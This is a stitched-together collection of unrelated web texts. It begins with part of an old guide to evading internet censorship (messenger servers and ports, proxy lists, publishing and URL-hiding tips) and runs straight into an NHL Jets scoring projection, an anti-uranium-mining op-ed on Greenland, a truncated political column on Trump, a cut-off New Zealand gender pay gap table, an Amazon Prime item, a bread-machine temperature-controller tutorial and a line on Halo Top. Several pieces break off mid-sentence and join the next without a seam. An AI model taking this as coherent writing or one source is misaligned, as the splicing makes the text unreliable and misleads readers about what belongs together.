Login server: login.icq.com or login.oscar.aol.com
Used ports: tcp at any port you choose in the settings (default is 5190)
Used protocol: Oscar
Supports proxy: http, https, socks 4 and socks 5
Online version: http://go.icq.com/ (connects to iht-d01.icq.com at any port you choose, default is 80) or http://www.odigo.org/features/express.html (The Odigo client online, supports all 4 services) More info: http://en.wikipedia.org/wiki/ICQ
http://www.rejetto.com/icq/
4.9.4.2 MSN Messenger Users: 23 million
Login server: messenger.hotmail.com
Used ports: tcp at 1863 which you can not change, but if connection failes, MSN tries port 80. (voice/video/webcam is tcp 13324 and 13325, application sharing/whiteboard is tcp 1503 and file transfer tcp 6891)
Used protocol:.NET Messenger Service
Supports proxy: http, socks 4 and socks 5
Online version: none official, but several unofficial. Be careful to give them your password! http://www.odigo.org/features/express.html (The Odigo client online, supports all 4 services), http://messenger.lycos.co.uk/messenger/ (Lycos Messenger, works also with Yahoo) and maybe you can try http://www.mister-i.com/i-mode/messenger.jsp (i-mode, after 3 days it costs $) or http://kickme.to/msnmessenger2go (he's still working on it). More info: http://en.wikipedia.org/wiki/.NET_Messenger_Service
4.9.4.3 AIM Users: 60 million
Login server: login.oscar.aol.com, toc.oscar.aol.com and login.icq.com
Used ports: tcp at any port you choose in the settings (default is 5190), for the IM images the software uses port 4443 (?)
Used protocol: Oscar
Supports proxy: http, https, socks 4 and socks 5
Online Version: http://toc.oscar.aol.com/ (The old QuickBuddy, port 80) and http://toc.oscar.aol.com/aimexpress/index.html (the newer AIM Express, port 80) or http://www.odigo.org/features/express.html (The Odigo client online, supports all 4 services) More info: http://en.wikipedia.org/wiki/AOL_Instant_Messenger
4.9.4.6 Yahoo Messenger Users: 20 million
Login server: cs.yahoo.com or cs.yahoo.co.jp (maybe different)
Used ports: tcp 5050 and 80 for file transfer, which can be changed in the settings
Used protocol:
Supports proxy: http, socks 4 and socks 5
Online Version: http://messenger.yahoo.com/ (The official Web Messenger) or http://messenger.lycos.co.uk/messenger/ (Lycos Messenger, which also supports MSN) or http://www.odigo.org/features/express.html (The Odigo client online, supports all 4 services) More info: http://en.wikipedia.org/wiki/Yahoo!_Messenger
4.9.5 Filesharing (Peer-to-Peer) Programs Gnutella (decentralized) - BearShare, Gnucleus, LimeWire, new Morpheus, Shareaza - More info: http://en.wikipedia.org/wiki/Gnutella FastTrack (commercial, with Server) - KaZaA, KaZaA Lite, Grokster, old Morpheus, iMesh - More info: http://en.wikipedia.org/wiki/FastTrack eDonkey (lots of servers, uses mainly port 4662) - eDonkey2000, Overnet, eMule, mlDonkey - More info: http://en.wikipedia.org/wiki/EDonkey Napster (lots of servers) - OpenNap, Napigator, FileNavigatior, WinMX - More info: http://en.wikipedia.org/wiki/Napster Other networks - Audiogalaxy, BitTorrent, Hotwire, Direct Connect, Evernet, SoulSeek More info: http://en.wikipedia.org/wiki/Peer-to-peer
It is one think is to access information that is already censored, but another challenge is to publish one's own information that can't easily be censored. Here you can see my ideas on how to avoid censorship:
Publish with a lot of mirrors. Especially dynamic IP's with a dyndns.org redirector are useful. Put your pages on so many different servers that the censor's can't successfully block all servers.
Especially dynamic IP's with a dyndns.org redirector are useful. Put your pages on so many different servers that the censor's can't successfully block all servers. Fax Polling. You can either use a service on the Internet or provide that service on your own computer with a fax modem.
You can either use a service on the Internet or provide that service on your own computer with a fax modem. Use one-time-addresses. These are links/URLs that are only valid for 1 visit or 1 hour, they are often used for paid downloads.
These are links/URLs that are only valid for 1 visit or 1 hour, they are often used for paid downloads. Hide the 'dangerous' content. For example, save text as images. The users won't notice it, but its difficult for the censor-spiders to'read' the content.
For example, save text as images. The users won't notice it, but its difficult for the censor-spiders to'read' the content. Host with a secure server in another country. For example, with http://www.havenco.com/ which is located at Sealand, an independent country on a little island in the north sea near England.
For example, with http://www.havenco.com/ which is located at Sealand, an independent country on a little island in the north sea near England. Encrypt the content. Use.htaccess and/or SSL for your website and AES, Twofish or Rijndael for files.
Use.htaccess and/or SSL for your website and AES, Twofish or Rijndael for files. Offer your data in P2P-Programs. Filesharing programs like Kazaa or eDonkey are very difficult to censor (see the problems of the music companies...)
Filesharing programs like Kazaa or eDonkey are very difficult to censor (see the problems of the music companies...) Send content via eMail. Create a autoresponder from which everyone with a hotmail account can receive your content.
Create a autoresponder from which everyone with a hotmail account can receive your content. Martus. It's an encrypted bulletin service to post and view information. See: http://www.martus.org/
More info: http://www.wired.com/news/technology/0,1282,5778,00.html
http://galileo.spaceports.com/~simeon/censorship-evasion.html
http://www.angelfire.com/my/6waynes/
http://www.ijs.co.nz/proxies.htm
http://sethf.com/anticensorware/
http://www.flurnet.org/archive/papers/ProxyBypass.pdf
http://neworder.box.sk/newsread.php?newsid=8650
http://cyber.law.harvard.edu/filtering/
http://www.opennetinitiative.net/oni/ice/
http://peacefire.org/circumventor/
http://www.free-market.net/directorybytopic/censorship/
http://www.stop1984.info/
http://en.wikipedia.org/wiki/Internet_censorship_in_China
http://www.cmis.csiro.au/projects+sectors/blocking.pdf
http://www.topology.org/net/censor.html
Mailinglist: http://lists.efa.org.au/mailman/listinfo/stop-censorship - (Discussions about censorship in Australia, English)
Mailinglist: http://www.freelists.org/webpage/nocensorship - (How to beat censorship and proxies. Very good!)
http://www.vicnet.net.au/community/issues/censorship/
http://ch.dmoz.org/Society/Issues/Human_Rights_and_Liberties/Free_Speech/The_Censorship_Debate/Internet_Censorship/
http://ch.dmoz.org/Computers/Software/Internet/Servers/Proxy/Filtering/Getting_Around_Filters/
http://ch.dmoz.org/Computers/Software/Internet/Servers/Proxy/Filtering/Censorware/
http://ch.dmoz.org/Computers/Software/Internet/Clients/Filtering/
http://ch.dmoz.org/Reference/Libraries/Library_and_Information_Science/Intellectual_Freedom/Filtering_Software/
http://tools.rosinstrument.com/proxy/
http://www.samair.ru/proxy/
http://www.atomintersoft.com/products/alive-proxy/proxy-list/
http://www.steganos.com/software/anonproxylist.sia
http://www.web.freerk.com/proxylist.htm (updated weekly, uncommon port proxies)
Via autoresponder from [email protected]
http://www.proxyblind.org/phpBB2/ (Very good!)
http://www.samair.ru/f/ (Very good!)
TO-DO-LIST (I could use some help on this...):
Voice-over-IP
VPN
Bildung von Untergrund-(Inter)Netzen in Deutschland (GAMEnet etc.) http://www.personaltelco.net/ WLAN
dIRC (ChaosComputerCongress 1997) und Abwandlungen
http://www.guardianet.net/
http://www.w3.org/PICS/
http://www.peacefire.org/bypass/Proxy/akamai.html
ssh as a redirection server
rinetd as a redirection server
junkbuster
http-gw
VPNs
stone as both a redirector and a proxy
running a Perl proxy
often used non standard ports: 20, 21, 22, 23, 24, 25, 81, 82, 83, 84, 443, 1979, 1128, 2000, 5000, 6000,
6588,, 7070, 7531, 7532, 7533, 8000, 8001, 8002, 8003, 8040, 8081, 8082, 8084, 8090, 8888, 8965, 9080, 9081, 10001, 10080, 22788, 39999
web.de answering machine ++49-(0)1212-552489659
softhome.net: free email with smtp server mail.softhome.net:2500 and mail.softhome.net:25000
http://www.stunnel.org/ - http://www.infoanarchy.org/wiki/wiki.pl?Stunnel
url hiding with ascii, hex, oktal e.t.c codes.
http://www.lexikon-online.info/q/Internetzensur
Webproxies by the IBB (Voice of America and Radio Farda)
For people in Iran (please read http://www.opennetinitiative.net/advisories/001/): http://www.azadsho.com/ - http://www.azadro.com/ - http://www.azadegi.com/ - http://www.jaamjam.com/ - http://www.zendegan.com/ - http://www.sedayema.com/ - http://www.bazeshkon.com/ - http://www.barandaz.com
For people in China: http://www.wanshiruyi.com/
MSN - messenger.hotmail.com:1863 afterwards port 80 (gateway.messenger.hotmail.com, login.gateway.hotmail.com, msgr.hotmail.com?)
www.e-messenger.net - qmsn2.qartis.com
Yahoo! - cs.yahoo.com:505 or cs.yahoo.com:5050 (msg.edit.yahoo.com, http.pager.yahoo.com, messenger.yahoo.com, scs.yahoo.com?) port 80
ftp server that show the user IP in the welcome message (test for anonymity): ftp.rz.uni-wuerzburg.de, ftp.gui.uva.es, sunsite.tus.ac.jp, ftp.matrix.com.br, ftp.cis.ohio-state.edu, ftp.gnupilgrims.org, ftp.stardiv.de
mail: www.neurozen.com/popart - www.friendscircle.net/pop - www.mail-inspector.de -
hotmail: www.hailware.com/code/dev
gmail: http://www.theplaceforitall.com/gmail-lite/ - gmail-lite.sf.net
servers that listen on any port (test it with telnet server.com PORT ): login.icq.com, news.supernews.com, login.oscar.aol.com
final dot after domains like described in: http://en.wikipedia.org/wiki/Root_nameserver
http://www.gray-world.net/
http://webmessenger.msn.com/
http://www.offbyone.com/ob1_download.htm [complete Webbrowser in 1,2MB]
http://www.466453.com
http://www.netcubicle.com/
http://board.planetpeer.de/index.php
Other mirror server maintained by me: http://tokyo.cool.ne.jp/cship/ (Infoseek - Tokyo, Japan)The kids have gone back to school and the NFL started last weekend which means one thing for hockey fans…the NHL is almost back!
We are officially 22 days away from puck-drop on the 2017-18 NHL season and it’s time to look at what you should expect from the Jets’ top players.
If you are not familiar with me, I am the Editor-in-Chief of DailyFaceoff.com, where I do yearly projections for all players expected to make NHL rosters this fall. My projections hit the web last Tuesday and today we’ll look at who (I think) the Jets’ top-10 scorers will be during the upcoming season.
1. Blake Wheeler (LW)
Games Goals Assists Points 2016-17 Season Stats 82 26 48 74 2017-18 Projections 82 27 44 71
Wheeler has been a ridiculously consistent performer and seemingly gets better every season. The 31-year-old is 11th in the NHL in assists (176), 12th in points (282) and tied for 20th in goals (106) over the last four years.
Wheeler combines great size (6-foot-5 / 225 lbs) and skill and comes into 2017-18 with the most stable floor of any of the Jets’ forwards. He rarely misses any time and is a near-lock for 25-plus goals and 40-plus assists.
2. Mark Scheifele (C)
Games Goals Assists Points 2016-17 Season Stats 79 32 50 82 2017-18 Projections 77 29 40 69
During the 2016-17 season, Scheifele had his best season to-date, posting 32 goals and 50 assists (82 points) in 79 games. While it was an impressive campaign, the 24-year-old scored shot a ridiculous 20.0 percent on just 160 shots—tied for 145th in the NHL.
Entering the 2017-18 season, Scheifele is expected to regress a bit but will still challenge Wheeler for the team lead in points. Look for the 6-foot-3 centre to post goals in the mid-to-high 20’s with 40-plus assists.
3. Nikolaj Ehlers (LW)
Games Goals Assists Points 2016-17 Season Stats 82 25 39 64 2017-18 Projections 82 28 41 69
Ehlers would be the most talented player on a couple of NHL rosters, but he flies a bit under the radar on a talented Jets’ roster. Ehlers followed up a strong rookie campaign with 64 points (25G / 39A) in 82 games last year and enters 2017-18 with even higher expectations.
Ehlers simply oozes with offensive ability and as long as he continues to fire 200-plus shots per season, he will score 25-plus goals with 40-plus assists for years to come.
4. Patrik Laine (RW)
Games Goals Assists Points 2016-17 Season Stats 73 36 28 64 2017-18 Projections 73 36 32 68
Laine had a great rookie season, scoring 36 goals with 28 helpers in 73 games. The 19-year-old has an elite shot, but benefitted from a 17.6 shooting percentage—the 10th highest shooting percentage of any player with 200-plus shots in the last decade.
Laine’s shot makes him a candidate to carry a high career shooting percentage, like an Alex Ovechkin, but he is also a prime case for regression in 2017-18. If his shooting percentage drops down to a more maintainable rate it will put him on pace for goals in the mid-20’s. However, the Finnish winger will likely record more than 204 shots this season, which will help balance things out. Look for him to finish with goals in the mid-30’s and assists in the same range.
5. Bryan Little (C)
Games Goals Assists Points 2016-17 Season Stats 59 21 26 47 2017-18 Projections 67 22 31 53
Little is tied for 41st in the NHL in points-per-game (0.76) over the last three seasons, but tied for 94th in points (141) because he has missed 60 games over that stretch. Little is capable of posting 20 goals and 40 assists, but his durability issues have limited his upside. His 2013-14 season (23G/ 41A) is the goal, but playing in all 82 games is a stretch for the 29-year-old.
6. Dustin Byfuglien (D)
Games Goals Assists Points 2016-17 Season Stats 80 13 39 52 2017-18 Projections 77 17 34 51
Byfuglien is an absolute beast and ranks among the best defenseman in nearly every category. Over the last four seasons, Byfuglien ranks first among blueliners in penalty minutes (446), fourth in points (206), fifth in goals (70), seventh in hits (821) and 12th in power-play points (74). Those are elite numbers and Byfuglien is one of the few defensemen capable of posting 20 goals and 30-plus assists in 2017-18.
7. Kyle Connor (LW)
Games Goals Assists Points 2016-17 Season Stats 20 2 3 5 2017-18 Projections 72 26 24 50
Connor possesses an abundance of speed and offensive creativity and turned that into the NCAA Freshman of the Year in 2015-16 and 44 points (25G / 19A) in 52 games with Manitoba (AHL) in 2016-17. Connor appeared in 20 games with the Jets as well and is expected to play a full NHL season in 2017-18.
The 20-year-old’s production will be directly tied to his usage, but should he land a top-6 role he is capable of recording something close to a 25-25 season.
8. Mathieu Perreault (LW)
Games Goals Assists Points 2016-17 Season Stats 65 13 32 45 2017-18 Projections 66 14 30 44
Perreault posted elite playmaker numbers at lower-levels, but has a career-high of just 32 assists (2016 and 2017) in the NHL. Perreault has played at a 17-goal, 36-assist per 82-game pace during his three years in Winnipeg, but he has missed 48 games over that span. If Perreault could stay healthy for a full season, he has 50-plus point upside, but durability is an obvious concern, making him more of a 40-point player.
9. Nic Petan (C)
Games Goals Assists Points 2016-17 Season Stats 54 1 12 13 2017-18 Projections 72 11 31 42
Petan has high-end playmaking ability—three straight seasons of 70-plus assists in Portland (WHL)—but had limited upside in 2016-17 because he spent most of the season with linemates like Chris Thorburn. Like Connor, Petan’s production will be tied to how much he plays, but he is expected to see a larger role, making 30-plus assists entirely possible.
10. Jacob Trouba (D)
Games Goals Assists Points 2016-17 Season Stats 60 8 25 33 2017-18 Projections 74 9 31 40
Trouba missed the start of the 2016-17 with a contract dispute but upon his return he was tied for 26th among defensemen in points from his season debut to the end of season. Trouba plays massive minutes on the Jets’ blueline, but his upside will continue to be capped as long as he is playing second fiddle to Byfuglien in terms of power-play usage. In a full-season, Trouba is capable of posting 40-plus points for the first time in his career.As a doctor I routinely get asked for a second opinion, but it is not often that I travel halfway around the world to deliver it.
Recently I was invited to assess an old Danish uranium exploration site in Kvanefjeld in southern Greenland.
Inuit Ataqatigiit - the opposition party in the national parliament - had asked me to talk to local people about the health implications of re-opening the defunct mine.
An Australian firm called Greenland Minerals and Energy (GME) has big plans to extract uranium and rare earth minerals here. It would be a world first: an open-pit uranium mine on an Arctic mountain-top.
From the top of the range above the mine site I looked down across rolling green farmland to the small fishing village of Narsaq. Colourful timber houses rested at the edge of a deep blue strait that the Viking Eric the Red navigated a thousand years ago. Hundreds of icebergs bobbed on its mirror-like surface. To the east, half way up the valley, a small creek tumbled into a deep rock pool.
Behind that saddle lies Lake Tesaq, a pristine Arctic lake that GME plans to fill with nearly a billion tonnes of waste rock. This part of the mine waste would not be the most radioactive, because the company plans to dump this material in a nearby natural basin, with the promise that an 'impervious' layer would prevent leaching into the surrounding habitat.
Left behind - all the toxic products of radioactive decay
These mine tailings would contain the majority of the original radioactivity - about 85% in fact - because the miners only want the uranium and the rare earth elements. They would mine and then leave the now highly mobile radioactive contaminants, the progeny from the uranium decay behind: thorium, radium, radon gas, polonium and a horde of other toxins.
Even at very low levels of exposure ionising radiation is recognised as poisonous: responsible for cancer and non-cancer diseases in humans over vast timespans.
This is why my own profession is under growing pressure to reduce exposure of our patients to X-Rays and CT scans in particular - making sure benefit outweighs risk. It's also why ERA, the proprietors of the Ranger mine in Kakadu, Australia, are legally obliged to isolate the tailings for at least 10,000 years.
While this is hardly possible, the mere fact that it is required highlights the severity and longevity of the risk. My Inuit audience in Narsaq was particularly interested to hear the messages I brought from traditional owners in Australia like Yvonne Margarula, of the Mirarr people:
"The problems always last, but the promises never do."
And Jeffrey Lee from Koongara:
"I will fight to the end and we will stop it, then it won't continue on for more uranium here in Kakadu."
So far in 2016, not a single new nuclear reactor has opened
When GME started touting this project a decade ago the price of uranium was over $120 per pound and everybody in the extractive industry was breaking open the bubbly in anticipation of the 'nuclear renaissance'.
We were told that nuclear power would save the world from anthropogenic carbon-carnage and uranium was a stock-market wunderkind. Then came the global financial crisis of 2007/2008 and the spot-price halved. And then the nuclear reactors at Fukushima melted down, and the price halved again.
And so the'renaissance' failed to materialize: the real news today is that there has not been one reactor construction start-up so far this year. Not one. Not even in China, the only place where one could honestly claim there has been significant build in the past decade. Consequently, the uranium price has collapsed down to about $25 a pound at present.
GME's share price trajectory has amplified the fall in the uranium price - from $65 a share in 2007 to less than 3 cents today. Despite this reality GME continues to wax lyrical about the company's prospects.
A small nation divided
Two years ago the newly elected Greenland national government rescinded a 30-year ban on mining and exporting uranium - but their majority of just one seat in the 31-seat parliament makes this a fragile promise. Inuit Ataqatigiit holds the other 15 seats and is strongly committed to preventing any mine.
Similar division exists in the region where the ore-body is located. The small town of Narsaq deep in the southern fjords has seen much conflict and distress ever since the Aussie miners came to town. While some locals believe the mine would mean jobs and dollars, many of their neighbours are profoundly suspicious and resistant.
When I reached the mine site I was reminded of Tolkien and of Orcs and Goblins. The Danes who first dug down deep into the mountain side 40 years ago left a great grey door fastened tightly into the mine entrance to deter any curious future visitors. And behind the door lies the booty - the fuel for the world's most dangerous weapons and long lived industrial waste, buried in the mountain top.
If allowed to the Antipodean treasure hunters would dump a billion tonnes of waste rock in a sapphire lake and hundreds of thousands of gallons of liquid radioactive waste in a shallow ditch at the head of a primeval watershed. Then they would pack up and leave within a few decades.
But the wastes and risks they would have generated would not. Some of uranium's radioactive byproducts would be a contamination threat to the surrounding region for tens of thousands of years.
And as the Inuit Party and a lot of folks in Narsaq have been trying to tell GME, keeping the door open for a truly green Greenland means keeping the great grey door in the mountain firmly shut on uranium mining.
Bill Williams MBBS is Chair of the International Campaign to Abolish Nuclear Weapons (ICAN) - Australia.The writer is a political theorist at Harvard University and a contributing columnist for The Post.
Since my column Sunday arguing that we, the people, ought to unite to block Donald Trump, a highly successful demagogic opportunist who is taking advantage of a divided country, I have, as you might imagine, received a great deal of correspondence. You can read a sample here. (Be forewarned that you’ll find obscenities, though they are not mine.) I have, however, also had the pleasure of an extended, quite civil email correspondence with one Trump supporter, and this has helped me further clarify my views.
Our conversation reached an interesting point when I asked him, “What could actually make you change your mind about Trump? That is, if your hypothesis is that Trump would be a good president, what would actually refute that hypothesis for you? If you didn’t mind sharing your thoughts on that, I would be very grateful.”
He responded (I promised that I would only paraphrase, and not quote, him) by saying that he would conclude that Trump hadn’t been the right choice if Trump ever made good on his promises to ban Muslims generally from entering the United States or to deport people whose only crime is being in the country illegally. He takes all those proposals to be pure performance. He believes he can count on Trump to undo President Obama’s executive orders and to block the admission of refugees from dangerous places, and that that’s as far as it will go.
[Read more: Donald Trump relishes wrecking the GOP]
Then he turned the question back on me, asking what would make me change my mind. Let’s say that Trump becomes president, he asked, and the kinds of things I fear don’t happen. Would I change my mind and agree that I had blown things out of proportion?
I slept on his question for a night and then gave him this answer:
The things I fear are already happening.
This country has seen a rise in white supremacy groups since 2000, as the Southern Poverty Law Center has documented. This is the first election in which their organizational power has propelled a candidate to durable prominence, even if that candidate has now also attracted lots of other kinds of supporters. Even after Obama released his long-form birth certificate in 2011, about 23 percent of Republicans continued to hold the view that he was born overseas. In September, 61 percent of Trump’s voters were “birthers.” Exit polling from the South Carolina primary last weekend showed that 70 percent of Trump’s voters in that state wish that the Confederate battle flag still flew over their statehouse. Although Sen. Ted Cruz (R-Tex.) comes close, no other candidate draws at this level from this constituency.
I study the impact of digital technologies on civic participation, and I have been watching groups of this sort form and grow in strength for some time, improving their capacity for coordination. These voters have given Trump his hard granite floor of at least 20 percent to 25 percent support.
But their success at propelling their candidate to prominence was possible only because of the fragmentation of the rest of the Republican electorate. A share of 20 to 25 percent of Republicans wouldn’t have been enough to do that if in August or September there had been only one or two others in the race. Trump counts votes with the best of them; he saw his opportunity and ran with it.
[Editorial: GOP leaders, you must do everything in your power to stop Trump]
Donald Trump won the Nevada GOP caucuses on Feb. 23. Here's how. (Peter Stevenson/The Washington Post)
His success is now providing affirmation and cover to his base of nativists and organized white supremacist groups. Such groups are connected to traditions of mob violence (consider the history of this country from the 1910s through the 1970s). This is why Trump’s suggestions that maybe protesters should be roughed up or punched are so loaded. This is the context in which to hear his celebration of false historical narratives about the use of “bullets dipped in pig’s blood” for the summary execution of Muslim adversaries. In the context of our very own history, Trump’s habit of condoning lawlessness is dangerous. When political leaders condone violence, their words are already doing things. They provide cover, embolden and enable.
My interlocutor suggested that lawlessness has been an issue in the Obama administration, too, as with excessive IRS scrutiny of the tea party. I agree with him that this was an example of unjustifiable overreach. My commitment is to the rule |
13 13 Ministry of Defence 36 35 39 38 42 31 42 39 Education 30 29 28 29 26 28 27 26 Education Review Office 10 11 11 13 10 10 10 10 Environment 17 15 17 18 17 19 18 20 Foreign Affairs & Trade 24 22 21 21 19 17 19 17 Government Communications Security Bureau 18 21 20 17 17 17 11 10 Health 22 21 19 16 16 17 17 17 Inland Revenue Department 21 21 21 21 21 20 21 20 Internal Affairs 12 18 20 19 17 17 19 18 Justice 15 14 14 15 16 19 18 18 Land Information New Zealand 18 16 14 14 16 16 17 16 Māori Development 14 17 14 10 12 10 9 1 Ministry for Women 7 1 10 -48 -8 -51 -56 -37 Pacific Island Affairs 4 5 8 12 13 13 20 3 Primary Industries 14 14 14 12 10 10 11 11 Prime Minister & Cabinet 28 29 30 29 25 23 19 7 Serious Fraud Office 25 16 -12 -1 12 19 18 11 Social Development 14 13 11 11 11 11 10 10 State Services Commission 27 23 26 26 22 22 21 27 Statistics New Zealand 9 12 12 12 11 12 10 11 Transport 24 20 18 24 27 21 16 17 Treasury 32 32 30 24 22 21 21 18 Public Service Average (2) 15 15 14 14 14 14 14 14
(1) The gender pay gap is defined as the difference between the average salary for women and the average salary for men, and is expressed as a percentage of the average salary for men. (A negative value indicates where the average salary for women is higher than for men.)
(2) Chief Executives are excluded from gender pay gap for individual departments but not from the overall Public service average.
Source: Human Resource Capability Survey, State Services Commission
Ms Upston said it was important to recognise that there had been a decline in the gender pay gap but it wasn't happening as quickly as she'd like.
"Ten years ago it was 16.1 percent, a 2 percent drop in a decade... there's a lot of work to do."
She said now they had more data it would provide better information for where they should focus their attention.
Ms Upston said initiatives to address the gap were already happening and the Ministry for Women was leading some of that work in the public sector.
She said contributing factors to the pay gap were quite complex and one of the issues was career progression and the impact taking breaks had on that.
"An area we've got to look at is that early/mid-career period, where often women take career breaks, how does the public service better support women through that period?"
She said legislation that gave every worker the right to request flexible work, was introduced last year.
"One of the pieces of work that we're doing next...is having workshops around the country...and really talking to employers about some practical steps that they can take to better support women in their workplaces through flexible work."
She said unconscious bias training was also being delivered through parts of the public service.
"Unconscious bias means that you're looking at what are some of the biases either by the applicant in front of you or the lens that you bring that might limit your ability to chose the best person for the job."
Choosing better
Ms Upston said young women tended towards occupations that did not pay well.
"One of the things that's come out of the data is that the three largest occupation types that have the lowest wages - clerical and admin roles, contact centre staff, social health and education workers, are also female dominated careers in the public service.
"Another really big opportunity is what do we do to influence career choices and see if we can alter those either perceptions that those are female jobs or actually get young girls and young women choosing a broader range of careers."
She said research carried out a couple of years ago found among year 11 girls in Auckland and Dunedin, that the three top career choices were flight attendants, kindergarten teachers and hairdressers.
"We also need young girls to be considering careers where there is high demand, high growth, and high wages. Whether it's in science and technology, ICT, or the trades, all areas that we are desperate for more New Zealanders to work in those areas."
The hard data
The Canterbury Earthquake Recovery Authority had the third widest gap - men there were paid 28 percent more, on average, than women.
The State Services Commission, which has oversight over the public service, was fourth on the list - men working at the commission were paid 27 percent more than women.
The Ministry of Education rounded out the top five, with a 26 percent wage gap between men and women.
At the other end of the scale, men at the Ministry of Māori Development were paid just 1 percent more than women on staff, while the gaps at the Departments of Corrections and Conservation and the Ministry for Pacific Peoples were all less than 5 percent.
The only ministry where women were paid more than men was the Ministry for Women. Last year, women were paid, on average, 37 percent more than men there.
The State Services Commission has also released a breakdown of gender pay gaps in the 29 departments and ministries for each year going back to 2008.
A few organisations have managed to narrow their gender pay gaps.
Treasury has cut its pay gap from 32 percent to 18 percent.
The difference in male and female salaries at the Department of Prime Minister and Cabinet has narrowed from 28 percent in 2008 to just 7 percent last year.
The gap has also narrowed at the Serious Fraud Office, from 25 percent in 2008 to 11 percent last year.
But the overall public service gender pay gap - which does include chief executives' salaries - has dropped just 1 percentage point since 2008, from 15 percent to 14 percent last year.
That is despite the number of women in public service chief executive roles reaching an all-time high - 11 out of the 29 chief executives are women, and women make up 60 percent of the 46,000-strong public service workforce.
Union reaction
Speaking to Morning Report, a representative from the biggest union for public service staff said the figures highlighted the stubborn inequality they were trying to deal with.
Public Service Association national secretary Erin Polaczuk said the gap sent a clear message to women that they were not valued.
She said the current laws worked, but there needed to be some motivation to change from the top.
"Like making sure that the culture of a department is such that women can take senior level jobs on a part-time basis, so that the child rearing break doesn't hinder your career."
Miss Polaczuk said for there to be improvement there must be transparency around things like pay rates, and how women progressed through their careers.
Those remarks were echoed by Equal Opportunities Commissioner Jackie Blue, who told Morning Report publishing the statistics was a good start and provided transparency, so progress could be tracked.
She said the pay gap in the public sector was unacceptable, and some heads of departments would not be happy about the figures.
"I know that the secretary of defence, Helene Quilter - she's a very formidable woman, she won't be happy with that stat."Prime is the gift that keeps on giving for Amazon. According to a new study from Consumer Intelligence Research Partners, Amazon's premium subscription service has now reached 80 million members in the US. As this chart from Statista shows, that's about double the estimated amount Amazon had just two years ago.
Now, it's hard to say exactly how accurate this is; Amazon famously does not give out exact figures for how many Prime subscribers it has. Plus, CIRP even notes that some of its total are either using a free trial or a discounted student (or any other) membership.
But it seems clear that the service is at least growing. That's a very good thing for Amazon; the barrage of Amazon-related perks it packs into each subscription makes Prime users much more likely to spend time on Amazon's site and to buy more things. According to CIRP, the average Prime member spends about $1,300 on Amazon per year, nearly double the estimated $700 spent by non-Prime members. That's on top of the $99 a year (or $10.99 a month) each one pays for a subscription in the first place.
Add all that to its increasingly large AWS cloud business for corporations, and a still-growing online shopping industry, and you can see why some analysts think Amazon will be one of the first trillion dollar companies.Rough Temperature Sensor Calibration
First, let's talk about using the temperature sensor. You should be getting some number back from the thermistor circuit when you check the A/D input assigned to it, which of course is not degrees F. So we need to calibrate the sensor circuit. A quick and dirty way to do this is to fill the baking pan with hot water at about 160 deg F, put a thermometer in it, and let it sit in the bread machine with the lid closed until the thermometer reaches about 140. You'll have to use the window or guess and check, but try to only check once or twice. When the thermometer reads about 140, use your program to read the A/D input and temporarily consider this number to correspond to 140 deg. It will actually be more like 120-130 deg, but we'll fix this later. In addition to this, you need to confirm whether the A/D value gets larger or smaller as the temperature increases. These two pieces of information are enough to start doing temperature feedback control.
Feedback Control Options
There are two ways of implementing temperature feedback control that I considered: thermostatic and proportional-integral (PI).
Thermostatic control solves the problem much the way an old thermostat for a home furnace does: it turns on the heat full blast until the desired temperature is reached, and then it shuts off until the temperature drops a certain amount below the desired point. In this way it cycles between these two temperatures, and the rate at which it cycles depends on how fast the heating element adds heat, and how much delay there is between heat being added and the temperature sensor sensing it.
I found that thermostatic control works, but there is enough delay between the heating element and the temperature sensor that the oven will overshoot quite a bit (probably close to 200 deg F) when it initially switches on and must rise to 140F from room temperature. This creates a marginally unsafe situation if someone opens the lid a few minutes after the unit is first powered on. It's also going to smell worse if any organic matter accidentally falls on the heating element.
Proportional-Integral (PI) control is a little more complicated, but works better. We'll need to use it in conjunction with PWM - and I'll first explain PWM briefly because the Wikipedia article is confusing and starts off with ugly math.
Pulse-Width Modulation: Averaging ON and OFF into something in between
The basic idea of PWM is that when we are only allowed to turn something all the way on or all the way off, we can achieve an effect equivalent to part-way on by rapidly switching it on and off and regulating the ratio of on-time to off-time. This works only when the thing we're controlling naturally averages out the pulses at the speed with which we're switching. For example, you can repeatedly poke the 'pulse' button on a blender or the gas pedal in a car almost fast enough to get a consistent average speed. But if you tried to flick a light switch on and off fast enough to get averaged dim lighting, you're out of luck - yet a fluorescent bulb blinks on and off 120 times per second with the AC supply and is averaged out by our eyes. For bigger things with more inertia, the pulses can come slower and still be averaged out. In our case, what we care about is the temperature of the contents of the baking pan, which won't heat and cool nearly as fast as the surrounding air in the oven (or the temperature sensor in the wall of the oven). So, if the oven air swings by a few degrees every few minutes, this is acceptable and the baking pan contents will stay at about the average temperature.
With this in mind, I chose 5 minutes as the cycle time for the PWM control of the heating element: every 5 minutes, the heating element will be turned on for between 0 and about 45 seconds, depending on what the PI controller wants. The reason for not turning the heater on and off more often is that switching it involves switching a relay on the power circuit board, which makes an audible click each time and would wear out much faster if it were switched frequently.
Implementing a PI Controller
Okay, now for the PI controller. An explanation of PI control would take up a bit too much space here, so I'll refer you to the reasonably well-written Wikipedia entry on PID control. The reason I leave off a derivative term (PI instead of PID) is that I know my sensed temperature is going to oscillate a bit anyway because the PWM cycle time is so long, and the oscillations I'll get without a derivative term are no bigger.
Since we're controlling the average temperature, we need to make sure we measure the average temperature for performing feedback control - so at the beginning of every PWM cycle, the controller should average out the temperature over the last cycle to decide how long to leave the heater on for in the new cycle.
Results and Fine Tuning
Testing a feedback controller that takes 5 minutes to do anything interesting can be a real hassle. One way to make life easier is to automatically record and plot what the controller is doing. Your programming tool for the microcontroller no doubt provides a debugging console which you can send text to from your program. Take advantage of this by sending a comma-separated list of useful variables each time your controller updates itself. Then, you can just save all these numbers into a text file, import them into Excel or another spreadsheet program, and quickly plot all the variables at once. Excel's scatter plot function will automatically plot each column against the first column, so if you make sure the first variable sent is the time, things will plot nicely with the default settings.
After some experimentation, I was able to get the performance shown below from my PI controller. Now I'm ready to do a more accurate temperature calibration: I can set the feedback controller to a specific setpoint based on the thermistor A/D value, fill the baking pan partway with water and suspend a thermometer in it, and wait until the controller reaches steady state (zero error for at least 2 cycles). Now I know that this particular thermistor value corresponds to a particular temperature. If I do this twice or better yet three times, I can plot them and draw a line which gives me my conversion equation! Keep in mind that your thermistor won't be terribly linear over a broad range of temperatures, so focus on making sure that your curve fit matches your data exactly at the desired setpoint. Some errors at other temperatures are fine, the feedback controller will still work.Halo Top has announced a bunch of new flavors of the low-calorie dessert that has taken over the ice cream world.
